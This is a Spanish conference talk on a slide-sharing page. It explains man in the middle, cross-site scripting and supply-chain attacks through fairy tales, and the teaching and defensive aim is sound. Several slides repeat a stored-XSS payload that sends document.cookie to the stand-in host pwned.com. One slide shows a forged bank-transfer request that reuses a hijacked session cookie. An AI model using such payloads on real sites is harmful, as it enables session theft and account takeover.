Upgrade to Pro — share decks privately, control downloads, hide ads and more …

¿Quién teme al hacker feroz? Nociones de cibers...

Avatar for Mar Mar
June 29, 2026
41

¿Quién teme al hacker feroz? Nociones de ciberseguridad en clave de cuento

¿Qué tienen en común todos los cuentos populares? Caperucita, los tres cerditos, hansel y gretel... Todos ellos son fábulas, que enseñan una lección útil para la vida: no reveles información privada a un extraño, no te fies de la infraestructura, hay gente que quiere engañarte, etc.

En los tiempos que corren, nuestras vidas estan ligadas a activos digitales como nuestros datos personales, nuestra identidad e incluso nuestro dinero. Y «los malos» se han actualizado para aprender a robarlos.

En esta charla le daremos una vuelta de tuerca a varios cuentos clásicos, que usaremos como base para explicar de forma divulgativa varios conceptos básicos de ciberseguridad con los que todo desarrollador debería estar al corriente, tales como: man in the middle, DDoS, o cross site scripting, entre otros.

Avatar for Mar

Mar

June 29, 2026

Transcript

  1. ¿Quién teme al hacker feroz? Nociones de ciberseguridad en clave

    de cuento OpenSouthCode 2026 Mar Bartolomé
  2. Caperucita roja – Man in the Middle + Session Hijacking

    POST /api/v1/transferencia HTTP/1.1 Host: mibanco.com Content-Type: application/x-www-form-urlencoded Cookie: session_id=9a8b7c6d5e4f3g2h1i0j cuenta_origen=ES123456789&cuenta_destino=ES999988887& cantidad=50&concepto=restaurante
  3. Caperucita roja – Man in the Middle + Session Hijacking

    POST /api/v1/transferencia HTTP/1.1 Host: mibanco.com Content-Type: application/x-www-form-urlencoded Cookie: session_id=9a8b7c6d5e4f3g2h1i0j cuenta_origen=ES123456789&cuenta_destino=ES000011112 &cantidad=5000&concepto=pwned
  4. Caperucita roja – Man in the Middle + Session Hijacking

    4fa9c8e2b701f6a3d9e8c5b2a1f0e9d8c7b6a5f4e3d2c1b0a9f8e7f 2e1d0c9b8a7f6e5d4c3b2a1f0e9d8c7b6a5f4e3d2c1b0a9f8e7d6e 1d0c9b8a7f6e5d4c3b2a1f0e9d8c7b6a5f4e3d2c1b0a9f8e7d6c5 HTTPS
  5. La bella durmiente - Cross Site Scripting (XSS) <form action="/publicaciones"

    method="post"> <textarea id="publicacion" name="contenido" rows="4"></textarea> <button type="submit">Publicar</button> </form>
  6. La bella durmiente - Cross Site Scripting (XSS) <form action="/publicaciones"

    method="post"> <textarea id="publicacion" name="contenido" rows="4"></textarea> <button type="submit">Publicar</button> </form> POST /publicaciones HTTP/1.1 Host: miapp.com Content-Type: application/x-www-form-urlencode d Cookie: session_id=9a8b7c6d5e4f3g2h1i0j contenido=Qué guay la charla de Mar en la OSC app.post("/publicaciones", (req, res) => { const publicacion = { autor: loggedInUser().id, contenido: req.body.contenido, fecha: new Date(), }; await db.save(publicacion); });
  7. La bella durmiente - Cross Site Scripting (XSS) app.get("/", async

    (req, res) => { const publicaciones = await db.get.publicaciones( limit=10, order_by=”date” ); const items = publicaciones .map((pub) => `<li> <div class"autor”>${pub.autor}</div> <div class="contenido”>${pub.contenido}</div> </li>`).join(""); res.send(` <h1>Últimas publicaciones</h1> <ul>${items}</ul>`); }); 🌐 https://miweb.com/
  8. La bella durmiente - Cross Site Scripting (XSS) <img src=x

    onerror="fetch('https://pwned.com/?'+document.cookie)">
  9. La bella durmiente - Cross Site Scripting (XSS) <img src=x

    onerror="fetch('https://pwned.com/?'+document.cookie)">
  10. La bella durmiente - Cross Site Scripting (XSS) <img src=x

    onerror="fetch('https://pwned.com/?'+document.cookie)"> 🌐 https://miweb.com/ https://pwned.com/?sessionId=abc123def456
  11. La bella durmiente - Cross Site Scripting (XSS) <div class"autor”>${pub.autor}</div>

    <div class="contenido”>{pub.contenido}</div> <div class="autor">Maléfica</div> <div class="contenido"> <img src=x onerror="fetch('https://pwned.com/?'+document.cookie)"> </div> <div class"autor”>${escape(pub.autor)}</div> <div class="contenido”>${escape(pub.contenido)}</div> <div class="contenido"> &lt;img src=x onerror=&quot;fetch(&#39;https://pwned.com/?&#39;+do cument.cookie)&quot;&gt; </div> https://pwned.com/ + ✨ Escapado del output ✨
  12. La bella durmiente - Cross Site Scripting (XSS) app.post("/publicaciones", (req,

    res) => { const safe_cont = sanitize(req.body.contenido) const publicacion = { autor: loggedInUser().id, contenido: safe_cont, fecha: new Date(), }; await db.save(publicacion); }); ✨ Sanitización del input ✨ <img src=x onerror="fetch('https://pwned.com/')"> → <img src=”x”> ❌ <script> ❌ onload=... ❌ onerror=... ❌ <iframe> Librerías: - nh3 (django) - sanitize-html / DOMPurify (js) - HTMLPurifier (laravel) ✅ <img> ✅ <href> ✅ <p> ✅ <table>
  13. La bella durmiente - Cross Site Scripting (XSS) <img src="http://miweb.com/foto.png">

    <a href="http://miweb.com">Mi página web</a> ![](http://miweb.com/foto.png) [Mi página web](http://miweb.com) ✨ Lenguajes de marcado ✨ [img]http://miweb.com/foto.png[/img] [url=http://miweb.com]Mi página web[/url] http://miweb.com/foto.png [http://miweb.com Mi página web] Markdown* BBCode Wikitext * markdown restringido sin html
  14. Blancanieves – Supply Chain Attack • Nivel de madurez ✅

    conocido y con rodaje ⚠ novedoso y sexy • Estado de salud ✅ actividad y comunidad ⚠ solo projects ⚠ sin pulso, abandonado • No fiarse de internet (exclusivamente) • DIY para cosas simples
  15. Blancanieves – Supply Chain Attack - versiones fijas, lockfiles -

    hashes criptográficos - herramientas SCA (escaneo contra CVEs) - periodos de cooldown - contenedores pip, uv, npm, cargo, bundle…